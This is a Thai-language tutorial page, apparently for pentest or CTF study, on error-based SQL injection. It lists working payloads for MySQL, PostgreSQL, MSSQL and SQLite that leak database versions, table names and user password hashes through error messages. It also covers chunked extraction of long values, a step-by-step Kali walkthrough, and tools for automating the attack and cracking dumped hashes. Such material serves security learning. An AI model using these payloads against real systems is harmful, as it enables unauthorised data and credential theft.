Error-based SQLi
Error-based SQLi ดึงข้อมูลออกมาผ่านข้อความ error ของฐานข้อมูล โดยบังคับให้ DB คำนวณ subquery แล้วนำผลลัพธ์ไปฝังในข้อความ error ที่แอปแสดงบนหน้าเพจ ใช้เมื่อแอปเปิด verbose error เร็วกว่า blind มากเพราะได้ข้อมูลเป็นก้อนต่อ request บทนี้รวม payload ตามชนิด DB ข้อจำกัดความยาว และการดึงข้อมูลยาวทีละส่วน
1. หลักการ
ถ้าแอปแสดงข้อความ error ของ DB กลับมา (verbose error) เราบังคับให้ DB สร้าง error ที่มีข้อมูลที่ต้องการฝังอยู่ — เทคนิคคือทำให้ฟังก์ชันบางตัวได้ input ผิดรูปแบบ (เช่น XPath ที่ไม่ถูกต้อง หรือ cast string เป็น int) แล้ว DB จะพ่น error ที่มีค่าที่ทำให้พังติดมาด้วย ซึ่งก็คือผลของ subquery ที่เราแทรกเข้าไป
2. Payload ตามชนิด DB
-- extractvalue: จำกัด ~32 ตัวอักษรในผลลัพธ์
1 AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
1 AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
1 AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))-- -
-- updatexml: ทำงานคล้ายกัน จำกัด ~32 ตัวเช่นกัน
1 AND updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 1)),1)-- -1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- error: "Duplicate entry '5.7.x~1' for key 'group_key'"-- PostgreSQL: cast string เป็น int → error แสดงค่า
1 AND 1=CAST((SELECT version()) AS INT)-- -
1 AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables) AS INT)-- -
-- MSSQL: convert error พ่นค่าออกมา
1 AND 1=CONVERT(INT,(SELECT @@version))-- -
1 AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))-- -
-- SQLite: มักไม่ error-based; ใช้ UNION/blind แทน (ตัวอย่างบังคับ error)
1 AND 1=load_extension((SELECT sqlite_version()))-- -3. ดึงข้อมูลที่ยาวเกินขีดจำกัด
extractvalue/updatexml ของ MySQL ตัดผลเหลือ ~32 ตัวอักษร ถ้าข้อมูล (เช่น hash 32 hex, หรือ flag ยาว) เกินนั้น ให้ดึงทีละส่วนด้วย SUBSTRING แล้วต่อกันเอง
-- ตัวที่ 1-31
1 AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING((SELECT password FROM users LIMIT 1),1,31))))-- -
-- ตัวที่ 32-62
1 AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING((SELECT password FROM users LIMIT 1),32,31))))-- -
-- ต่อผลทั้งสองส่วนเข้าด้วยกันเอง4. ข้อผิดพลาดที่พบบ่อย
- ลืมว่า MySQL extractvalue ตัดที่ ~32 ตัว — คิดว่าได้ข้อมูลครบทั้งที่ขาด
- ใช้ error-based กับระบบที่ปิด verbose error → ไม่มีอะไรออกมา (ควรสลับไป blind)
- subquery คืนหลายแถว → error 'Subquery returns more than 1 row' (ใส่ LIMIT 1 หรือ GROUP_CONCAT)
- ลืม 0x7e (~) นำหน้า → บางทีอ่าน error ยากว่าค่าเริ่มตรงไหน
- PostgreSQL cast: subquery ต้องคืนค่าเดียว ไม่งั้น error คนละแบบ
5. Quick Reference
- ใช้เมื่อแอปแสดง SQL error (verbose) — เร็วกว่า blind มาก
- MySQL:
extractvalue(1,concat(0x7e,subquery))/updatexml(ตัด ~32 ตัว) - MySQL สำรอง: double-query
floor(rand(0)*2)เมื่อ extractvalue โดนกรอง - PostgreSQL/MSSQL: cast/convert subquery เป็น INT → error แสดงค่าเต็ม
- ข้อมูลยาว → ดึงทีละ 31 ตัวด้วย
SUBSTRINGแล้วต่อเอง - subquery หลายแถว →
LIMIT 1หรือGROUP_CONCAT - error ถูกปิด → สลับไป Blind SQLi (boolean/time)
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเห็น error message ของ SQL หลุดออกมาบนหน้าเว็บ (verbose error) ใช้ error นั้นเป็นช่องทางดึงข้อมูลออกมาทีละก้อน
- 1ยืนยันว่า error message เปลี่ยนตามข้อมูลที่ inject จริง (ไม่ใช่ error คงที่) ลองใส่ค่าต่างกันดูว่า error ต่างไหม
- 2ระบุ DBMS จาก error message เอง (MySQL: 'You have an error in your SQL syntax', MSSQL: 'Unclosed quotation mark', Oracle: 'ORA-00933', PostgreSQL: 'syntax error at or near')
- 3MySQL: ยิง ' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- - แล้วอ่านค่าที่โผล่ในข้อความ error (หลังเครื่องหมาย ~)
- 4ถ้า extractvalue ตัดข้อความสั้นเกินไป ลองสลับเป็น updatexml(1,concat(0x7e,(...)),1)
- 5MSSQL: ลอง ' AND 1=CONVERT(int,(SELECT @@version))-- - ให้ error message โชว์ค่าที่ convert ไม่ได้
- 6ไล่ดึง table_name/column_name/username/password ด้วยวิธีเดียวกัน ทีละ subquery ย่อย
- 7ถ้า error ถูกปิด (production ปิด verbose error) ให้เปลี่ยนไปใช้ Blind หรือ Time-based ทันที
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ทดสอบ error message มือ | Burp Repeater / curl | already in Kali | - |
| ยิงชุดอัตโนมัติ | sqlmap (--technique=E) | already in Kali | - |
| ถอด hex/encode payload | - | - | CyberChef |
| เทียบ syntax error แต่ละ DBMS | - | - | dcode.fr |
| เรียนรู้ payload error-based เพิ่ม | - | - | portswigger web security academy |
| crack hash ที่ dump ได้ | hashcat / john | already in Kali | crackstation.net |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้